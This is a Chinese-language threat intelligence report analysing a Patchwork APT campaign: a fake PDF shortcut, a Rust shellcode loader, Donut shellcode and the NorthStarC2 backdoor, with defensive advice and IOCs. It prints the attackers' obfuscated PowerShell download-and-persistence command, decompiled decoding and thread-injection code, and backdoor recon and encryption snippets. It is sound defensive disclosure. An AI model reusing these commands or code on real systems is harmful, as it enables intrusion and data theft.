2023年12月:Patchwork组织针对中国的攻击事件分析报告

概述

  瑞星威胁情报平台于近期捕获到一起针对中国的攻击事件,根据关联分析,将此次事件归属于Patchwork组织。攻击者使用伪装成pdf文档的快捷方式作为初始攻击武器,执行命令从远程服务器下载诱饵文档和恶意程序,并通过创建计划任务的方式实现本地持久化。其中下载的恶意程序由rust语言编写,负责在内存中执行开源工具Donut生成的shellcoderust语言具有高级控制、内存安全性和灵活性等优点,而Donut则支持将任意exedll.net程序集或部分脚本程序生成一个与执行位置无关的shellcode,这套武器组合隐蔽性强、安全性高,可以让攻击者投递不同类型的攻击武器,完成恶意目的。比如在本次事件中攻击者使用的武器就是名为NorthStarC2的远控木马,最终利用该工具实现了对目标主机的信息窃取及远程控制。

  Patchwork组织,又名摩诃草白象APT-Q-36Dropping Elephant,是一个疑似具有南亚某政府背景的APT组织,其最早攻击活动可追溯到2009年,至今依然活跃。该组织主要针对中国、巴基斯坦、孟加拉国等亚洲地区国家,以政府、军事、电力、工业、科研教育、外交和经济等高价值机构为攻击目标。

ATT&CK 矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 执行powershell命令
TA0002-执行 T1204-用户执行 需要用户主动执行
TA0003-持久化 T1053-计划任务/作业 创建计划任务定期启动恶意程序实现本地持久化
TA0005-防御规避 T1036-伪装 修改图标快捷方式伪装成pdf文档
TA0005-防御规避 T1027-混淆过的文件或信息 恶意载荷编码混淆后内嵌在执行文件内
TA0005-防御规避 T1055-进程注入 创建线程执行恶意载荷
TA0007-环境发现 T1083-枚举文件和目录 获取指定路径下目录和文件信息
TA0007-环境发现 T1057-收集进程信息 收集被入侵主机的进程列表
TA0007-环境发现 T1082-收集系统信息 收集被入侵主机的操作系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 收集被入侵主机的MAC地址和IP地址
TA0007-环境发现 T1033-探测系统所有者/用户 收集被入侵主机的用户名
TA0009-收集信息 T1113-屏幕截图 获取屏幕截图
TA0011-指挥与控制 T1573-加密通道 通过加密算法来隐藏命令和控制流量
TA0010-外传信息 T1020-自动外传 自动发送收集到的受害者机器信息
TA0010-外传信息 T1041-通过C2通道外传 C2通道同时可以接收木马回传的受害者机器信息

攻击事件详情

  本次事件中发现的初始文件是名为2023120314221759826.pdf.lnk的快捷方式,可通过钓鱼邮件、恶意站点等渠道进行投递。攻击者通过修改图标将其伪装成pdf文档,以此诱骗用户点击执行,而快捷方式的目标指向了本地工具powershell.exe,用以执行一段命令完成文件下载及创建计划任务等初期工作。下载地址分别为pd35.b-cdn.netpl335.b-cdn.net,根据关联分析发现Patchwork组织在过去的多起攻击行动中都曾使用过相似的域名格式,这也是判定此次事件归属组织的证据之一。下载的文件包括诱饵文档和恶意程序,与快捷方式同名的pdf诱饵文档,内容是国内电力企业的相关新闻报道,由文件名和内容可见攻击者针对的目标并不明确。不过在此次事件中发现该组织使用了近年来流行的rust语言开发的恶意程序,利用该语言的安全特性在内存中解码执行定制的恶意载荷。目前为止,在已披露的Patchwork组织过往攻击行动的报告中未发现有使用rust程序的记录,猜测该组织再次更新了其武器库。至于最终执行的恶意载荷,攻击者则是使用了现成的开源项目:DonutNorthStarC2,此举可以让攻击者快速展开攻击行动,提高攻击效率。其中NorthStarC2是一款.net远控工具,由Donut将其生成一段可以在内存任意位置运行的shellcode,最终帮助攻击者隐蔽的控制目标主机,实现攻击目的。

  

image

诱饵文档内容

攻击流程

  

image

攻击流程图

样本分析

1. 初始文件分析

字段 内容
文件大小 3.52 KB (3602 bytes)
文件MD5 4938bd735cdb8ca0ea592482018a0979
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.F050
主要功能 下载文件

  攻击者通过修改文件名和文件图标将作为初始攻击武器的快捷方式伪装成pdf文档,以此诱骗用户执行。但其真实目标指向了本地的C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,用以执行内嵌的powershell命令,其中部分字段做了简单的混淆处理,以逃避传统的字符串检测。至于命令的功能则是分别从不同的地址下载文件到本地并做简单处理,其中用来欺骗用户的诱饵文档被直接打开,而执行恶意功能的程序则通过创建计划任务的方式实现本地持久化。

  执行的命令。

$ProgressPreference = 'SilentlyContinue';
i''w''r "https[:]//pd35.b-cdn.net/ymj" -OutFile C:\Users\Public\2023120314221759826.pdf;
s''a''p''s C:\Users\Public\2023120314221759826.pdf;
i''w''r "https[:]//pl335.b-cdn.net/fgn" -OutFile "C:\Windows\Tasks\hunt";
r'e''n -Path "C:\Windows\Tasks\hunt" -NewName "C:\Windows\Tasks\Services.exe";
c''p''i 'C:\Users\Public\2023120314221759826.pdf' -destination .;
S''C''H''T''A''S''K''S'' /Create /Sc minute /Tn EdgeUpdate /tr 'C:\Windows\Tasks\Services';

2. shellcode加载器分析

字段 内容
原始文件名 Services.exe
文件大小 212.50 KB (217600 bytes)
文件MD5 eecee405c8c2536778131ba44dfb3987
文件类型 EXE
病毒名 Trojan.[Patchwork]ShellCode/x64!1.F043
主要功能 动态执行shellcode

  该程序由rust语言编写,在本次事件中由计划任务启动执行,然后将内嵌的恶意载荷经过异或解码后在内存中动态运行。对于shellcode编码数据使用不同的异或算法进行分段解码,而解码密钥则是相关字符串的aes加密数据,其中加密密钥是一个由本地16字节硬编码字符串扩展后的密钥组。

2.1、扩展加密密钥组

  首先使用密钥扩展指令和自定义算法,将程序内嵌的16字节硬编码字符串扩展为一个22组16字节的密钥组,密钥扩展算法有三个步骤:

  1. 指令aeskeygenassist根据上一轮异或运算的结果生成轮密钥
  2. 自定义算法运算得到新的字符串,使用步骤1生成的轮密钥和上一轮异或运算的结果
  3. 指令aesimc转换步骤2计算得到的字符串

  上述算法共执行了九轮,其中第一轮的步骤1和步骤2使用本地硬编码字符串参与运算。

loacl_str_v9 = _mm_loadu_si128(a2);       // 16字节硬编码字符串
v21 = loacl_str_v9;
// 第一轮
aeskeygenassist_140001E70(aes_keys, (__int64)&v21); // 根据硬编码字符串生成加密轮密钥
xor_result_v10 = _mm_xor_si128(           // 异或运算,加密轮密钥和硬编码字符串
                        _mm_xor_si128(
                        _mm_xor_si128(_mm_slli_si128(loacl_str_v9, 12), _mm_slli_si128(loacl_str_v9, 4)),
                        _mm_xor_si128(_mm_slli_si128(loacl_str_v9, 8), _mm_shuffle_epi32((__m128i)aes_keys[0], 255))),
                        loacl_str_v9);
v22 = xor_result_v10;
aesimc_140001E00(&aes_keys[12], (__int64)&v22); // 转换异或运算的结果,数据存入密钥组
// 第二轮
v23 = xor_result_v10;
aeskeygenassist_140001E30(&round_key_v20, (__int64)&v23); // 根据上一轮异或运算结果生成新的加密轮密钥
xor_result_v11 = _mm_xor_si128(           // 异或运算,加密轮密钥和上一轮异或运算结果
                        _mm_xor_si128(
                        _mm_xor_si128(_mm_slli_si128(xor_result_v10, 12), _mm_slli_si128(xor_result_v10, 4)),
                        _mm_xor_si128(_mm_slli_si128(xor_result_v10, 8), _mm_shuffle_epi32(round_key_v20, 255))),
                        xor_result_v10);
v24 = xor_result_v11;
aesimc_140001E00(&aes_keys[13], (__int64)&v24); // 转换异或运算的结果,数据存入密钥组

  最后生成的密钥组可以分成两个分组,前一个分组的数据就是上述扩展算法中步骤2的计算结果,后面将作为加密密钥参与aes加密,而步骤3的结果则是后一个分组的数据,但并未被使用。另外每个分组的起始字符串被设置为最初进行密钥扩展的硬编码字符串,而末尾字符串则是再次异或运算得到的数据。

v20 = xor_result_v18;                      // 第九轮异或运算的结果
aeskeygenassist_140001E10(&round_key_v39, (__int64)&v20); // 使用第九轮异或运算的结果生成轮密钥
aes_keys[0] = (__int128)local_str_v9;     // 16字节硬编码字符串作为分组的起始字符串
aes_keys[1] = (__int128)xor_result_v10;   // 第一轮异或运算结果
aes_keys[2] = (__int128)xor_result_v11;
aes_keys[3] = (__int128)xor_result_v12;
aes_keys[4] = (__int128)xor_result_v13;
aes_keys[5] = (__int128)xor_result_v14;
aes_keys[6] = (__int128)xor_result_v15;
aes_keys[7] = (__int128)xor_result_v16;
aes_keys[8] = (__int128)xor_result_v17;
aes_keys[9] = (__int128)xor_result_v18;
aes_keys[10] = (__int128)_mm_xor_si128( // 第十轮异或运算,第九轮异或运算得到的数据和以该数据生成的轮密钥
                            _mm_xor_si128(
                            _mm_xor_si128(_mm_slli_si128(xor_result_v18, 12), _mm_slli_si128(xor_result_v18, 4)),
                            _mm_xor_si128(
                                _mm_slli_si128(xor_result_v18, 8),
                                _mm_shuffle_epi32(round_key_v39, 255))), 
                            xor_result_v18);
aes_keys[11] = (__int128)local_str_v9;      // 16字节硬编码字符串作为分组的起始字符串
aes_keys[21] = aes_keys[10];                // 与前面分组的末尾字符串相同

  最终生成的密钥组。

image

2.2. 解码shellcode

  首先解码shellcode前十六字节数据即shellcode[0],使用aes算法加密本地存储的另一个硬编码字符串得到异或密钥,其中加密密钥使用上面生成的密钥组。然后向下以8个16字节数据为一组执行aes加密,得到的加密数据作为解码密钥,具体的解码过程如下:

image

  aes加密算法,所需密钥就是上面密钥组中数据。

.text:0000000140001010 aes_keys = rdx
.text:0000000140001010                 movdqa  xmm0, xmmword ptr [aes_keys] ;密钥组
.text:0000000140001014                 pxor    xmm0, xmmword ptr [r8] ; 生成第0轮密钥
.text:0000000140001019                 aesenc  xmm0, xmmword ptr [aes_keys+10h] ; 九轮加密
.text:000000014000101F                 aesenc  xmm0, xmmword ptr [aes_keys+20h]
.text:0000000140001025                 aesenc  xmm0, xmmword ptr [aes_keys+30h]
.text:000000014000102B                 aesenc  xmm0, xmmword ptr [aes_keys+40h]
.text:0000000140001031                 aesenc  xmm0, xmmword ptr [aes_keys+50h]
.text:0000000140001037                 aesenc  xmm0, xmmword ptr [aes_keys+60h]
.text:000000014000103D                 aesenc  xmm0, xmmword ptr [aes_keys+70h]
.text:0000000140001043                 aesenc  xmm0, xmmword ptr [aes_keys+80h]
.text:000000014000104C                 aesenc  xmm0, xmmword ptr [aes_keys+90h]
.text:0000000140001055                 movdqa  xmmword ptr [r8], xmm0
.text:000000014000105A                 aesenclast xmm0, xmmword ptr [aes_keys+0A0h] ; 最后一轮加密
.text:0000000140001063                 movdqa  xmmword ptr [rcx], xmm0 ; 得到最终的加密数据
.text:0000000140001067                 retn
.text:0000000140001067 sub_140001010   endp

  远程线程注入方式执行解码之后的shellcode

NtProtectVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, &p_shellcode_, (SIZE_T *)decode_key_1, 1u, aes_data);
NtProtectVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, &p_shellcode_, (SIZE_T *)decode_key_1, 0x10u, aes_data);
thread_handle[0].m128i_i64[0] = 0i64;
NtCreateThreadEx(thread_handle, 0x2000000i64, 0i64, -1i64, p_shellcode_, 0i64, 0, 0i64, 0i64, 0i64, 0i64);

3. shellcode代码分析

字段 内容
文件大小 52.2 KB (53,502 bytes)
文件MD5 eecb4819b8121474811b68afdc5432f2
病毒名 Trojan.DonutLoader!1.E39F
主要功能 内存执行远控木马

  内存中执行的shellcode是由开源项目Donut生成,该工具支持将.net程序集生成一段可在内存任意位置执行的shellcode。内存中执行的代码使用Unmanaged CLR Hosting API来加载CLR,一旦加载到宿主进程中,将创建新的Application Domain,然后通过AppDomain.Load_3方法加载运行程序集。

  代码执行后首先解码内嵌的编码数据,得到程序运行所需的字符串和.net程序集,然后在内存中托管运行程序集。其中解码所需的密钥有两个,位于代码内部。

seg000:0000000000000000 E8 80 81 00 00                          call    main_8185       ; 主函数
seg000:0000000000000005 80 81 00 00             code_addr       dd 8180h                ; 代码段偏移地址
seg000:0000000000000009 17 32 10 96             decode_key_1    dd 96103217h            ; 密钥1
seg000:000000000000000D BB 1A 14 8C                             dd 8C141ABBh
seg000:0000000000000011 B1 D0 26 17                             dd 1726D0B1h
seg000:0000000000000015 6A 4F 16 74                             dd 74164F6Ah
seg000:0000000000000019 2D F6 2F ED             decode_key_2    dd 0ED2FF62Dh           ; 密钥2
seg000:000000000000001D EB 18 98 32                             dd 329818EBh
seg000:0000000000000021 7F 23 69 43                             dd 4369237Fh
seg000:0000000000000025 7C BB EF F3                             dd 0F3EFBB7Ch
seg000:0000000000000029 00 00 00 00                             dd 0

  解码算法如下,使用内嵌的密钥1和密钥2经过计算得到最终的解码密钥,最后循环解码数据。

 do
    {
      v7 = &decode_key;             // 存放最终的解码密钥
      v8 = 4i64;
      decode_key = *decode_key_2;
      do
      {
        *(_DWORD *)v7 ^= *(_DWORD *)((char *)v7 + decode_key_1);
        v7 = (__int128 *)((char *)v7 + 4);
        --v8;
      }
      while ( v8 );                 // 代码内的密钥1和密钥2按双字异或
      v9 = HIDWORD(decode_key);
      v10 = 16i64;
      v11 = DWORD2(decode_key);
      v12 = DWORD1(decode_key);
      v13 = decode_key;
      do
      {
        v14 = v12 + v13;
        v15 = v9 + v11;
        v16 = v14 ^ __ROL4__(v12, 5);
        v17 = v15 ^ __ROL4__(v9, 8);
        v18 = v16 + v15;
        v13 = v17 + __ROL4__(v14, 16);
        v12 = v18 ^ __ROL4__(v16, 7);
        v9 = v13 ^ __ROL4__(v17, 13);
        v11 = __ROL4__(v18, 16);
        --v10;
      }
      while ( v10 );                // 上面异或的结果再次进行移位、异或等计算
      HIDWORD(decode_key) = v9;     // 计算结果存入解码密钥字符串
      v19 = 4i64;
      *(_QWORD *)&decode_key = __PAIR64__(v12, v13);
      v20 = &decode_key;
      DWORD2(decode_key) = v11;
      do
      {
        *(_DWORD *)v20 ^= *(_DWORD *)((char *)v20 + decode_key_1);
        v20 = (__int128 *)((char *)v20 + 4);
        --v19;
      }
      while ( v19 );                
      v21 = len_data;
      if ( len_data > 0x10 )
        v21 = 16;
      v22 = v21;
      v23 = data_address;
      do
      {
        *v23 ^= v23[(char *)&decode_key - data_address];
        ++v23;
        --v22;
      }
      while ( v22 );                // 解码数据
      len_data -= v21;
      data_address += v21;
      for ( i = 16; i > 0; --i )
      {
        v25 = (unsigned int)(i - 1);
        if ( (*((_BYTE *)decode_key_2 + v25))++ != 0xFF )
          break;
      }
    }
    while ( len_data );

  解码后的字符串内容,包括库文件名、用来绕过AMSIWLDP安全机制的函数名、.net版本号及文件完整性验证字符串。

image

  获取相关API函数地址,使用函数CoCreateInstanceCorBindToRuntime在非托管的程序中实例化CLR托管接口,最终加载执行.net程序集。

image

4. NorthStarC2后门分析

字段 内容
原始文件名 Toolthless.exe
文件大小 27.5 KB (28,160 bytes)
文件MD5 d57a44202a5b3155bd91ecf13ec4e726
文件类型 EXE
病毒名 Backdoor.NorthStar!1.E66A
主要功能 远控木马

  NorthStarC2作为开源的命令和控制框架,由用于管理会话的服务器端和用于与C2服务器通信的客户端组成。目前,客户端应用程序具有以下功能:

  • 1、通过httphttps连接到C2服务器
  • 2、从服务器端应用程序接收命令并通过http方法响应命令,
  • 3、使用XOR加密通信流量并使用Base64对其进行混淆,
  • 4、获取主机信息,包括主机名、用户名、执行目录等,
  • 5、执行接收的指令,包括屏幕截图、查看主机文件、下载、上传等。

  获取本地信息,包括主机名、用户名、进程名等,其中主机UUID经过了base64编码处理。

this.macname = Environment.MachineName;
this.usname = WindowsIdentity.GetCurrent().Name;
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
{
    WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
    this.admin = windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
}
this.workdir = Directory.GetCurrentDirectory();
this.procid = Process.GetCurrentProcess().Id;
this.procname = Process.GetCurrentProcess().ProcessName;
this.exepath = Process.GetCurrentProcess().MainModule.FileName;
Process pop = new Process();
pop.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pop.StartInfo.UseShellExecute = false;
pop.StartInfo.CreateNoWindow = true;
pop.StartInfo.RedirectStandardOutput = true;
pop.StartInfo.FileName = "cmd.exe";
pop.StartInfo.Arguments = "/c wmic path win32_computersystemproduct get uuid";
pop.Start();
string sdaf = "";
this.uqid = (from x in Enumerable.Range(0, 3)
    select sdaf = pop.StandardOutput.ReadLine()).ToArray<string>()[2].ToString();
this.uqid = new pper().hello(Convert.ToBase64String(Encoding.UTF8.GetBytes(this.uqid)));

  客户端与服务端通信的数据做加密处理,以逃避流量检测,加密上传信息并对接收的信息进行解密。

public string hello(string qwe)                 // 加密算法
{
    char[] array = new char[]
    {
        '+', '_', 'I', '-', 'I', '3', ' ', '|', '<', '|',
        '|', '\\', '|', '9', ' ', '|', '5', ' ', '|', '3',
        '/', '-', '\\', 'c', '|', '<'
    };
    return Convert.ToBase64String(pper.Rc4ncry(Encoding.UTF8.GetBytes(array), pper.encr(Encoding.UTF8.GetBytes(qwe))));
}

public string bye(string qwe)                   // 解密算法
{
    char[] array = new char[]
    {
        '+', '_', 'I', '-', 'I', '3', ' ', '|', '<', '|',
        '|', '\\', '|', '9', ' ', '|', '5', ' ', '|', '3',
        '/', '-', '\\', 'c', '|', '<'
    };
    return Encoding.UTF8.GetString(pper.decr(pper.Rc4dcry(Encoding.UTF8.GetBytes(array), Convert.FromBase64String(qwe))));

  指令功能表如下:

指令 功能
die 结束客户端运行
ping 返回字符串"pong"
pwd 获取当前工作目录
cd 设置指定的新工作目录
rm、del 删除指定文件
whoami 获取当前用户名
dir、ls 枚举工作目录中的文件
ipconfig、ifconfig 获取IP地址
cat、type 获取指定文件内容
waittime、wait、responsetime、timer 设置睡眠时间
screenshot、schot 屏幕截屏
upload、uploadfile 下载文件
ps、process、processes 获取进程列表
enabledcmd、enable、cmd 启动命令行模式
inmen 内存中执行服务器传输的shellcode
download、get 上传本地文件
downexe 执行服务器下载的exe程序
lksfjdgjkxv 执行接收的cmd命令

关联分析

关联样本

字段 内容
原始文件名 Tax_Deduction_Revised_Q1-2024.pdf.lnk
文件大小 3.58 KB (3670 bytes)
文件MD5 218d85723396ddddaf75fc5853338997
文件类型 LNK
病毒名 Downloader.PowerShell/LNK!1.F050
主要功能 下载文件

  在今年6月份国内安全厂商发布了一份Patchwork组织针对我国相关部门攻击事件的报告,其中提到了与本次事件中初始文件使用相同技术的样本,并且下载服务器域名同为b-cdn.net,但报告中并未提供该样本的特征信息,暂时无法获取样本实体。不过根据另一个最近发现的关联样本,通过分析可以帮助确定本次事件的归属组织。

  该关联样本名为Tax_Deduction_Revised_Q1-2024.pdf.lnk,采取了相同的攻击技术,都是伪装成正常文档诱骗用户打开,但实际执行的却是一段powershell命令,完成文件下载及本地持久化等任务。不过该样本只有一个服务器地址:tyfk1.b-cdn.net,提供诱饵文档和恶意程序的下载。其中诱饵文档的主题是巴基斯坦联邦税务局发布的2024年税改政策,猜测其目标可能是巴基斯坦政府,该国也是Patchwork组织主要的针对目标。而下载的恶意程序仅具有信息窃取的功能,将搜集的主机信息加密后传送给指定服务器。但是该程序使用的数字证书于近期被国内安全厂商披露为Pathcwork组织所有,使用相同数字证书的样本是名为Spyder的远控木马。该证书有效期从2023/5/192024/5/17,目前依然有效。

诱饵文档内容

诱饵文档内容

数字证书内容

数字证书内容

攻击过程可视化(EDR)

  瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意软代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。

  本次事件中的下载地址已经失效,所以可视化攻击流程分两部分。

可视化流程图一

可视化流程图一

可视化流程图二

可视化流程图二

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

瑞星ESM扫描结果图

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    4938bd735cdb8ca0ea592482018a0979
    de16967a6ed7a3e70fd572ef18c15d83
    eecee405c8c2536778131ba44dfb3987
    eecb4819b8121474811b68afdc5432f2
    d57a44202a5b3155bd91ecf13ec4e726
    218d85723396ddddaf75fc5853338997
    585d638db07982ab27d21e145f241140
    6582a4df50948aaf2dcfbc6d8b84a58e
    6699190f7f6574029432b2678e1f40ac
  • URL

    hxxps://pd35.b-cdn[.]net/ymj
    hxxps://pl335.b-cdn[.]net/fgn
    hxxps://tyfk1.b-cdn[.]net/dox
    hxxps://tyfk1.b-cdn[.]net/dix
    hxxps://wingpao[.]info/QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php
    hxxps://kungkao[.]online/commKGylrY4ATzBDqQ58HYN6/CTFPNfmuMqz2vBw013swrcbJPnO7GH.php
  • Domain

    pd35.b-cdn.net
    pl335.b-cdn.net
    tyfk1.b-cdn.net
    wingpao.info
    kungkao.online
  • 瑞星病毒名

    Trojan.[Patchwork]ShellCode/x64!1.F043

参考链接

Author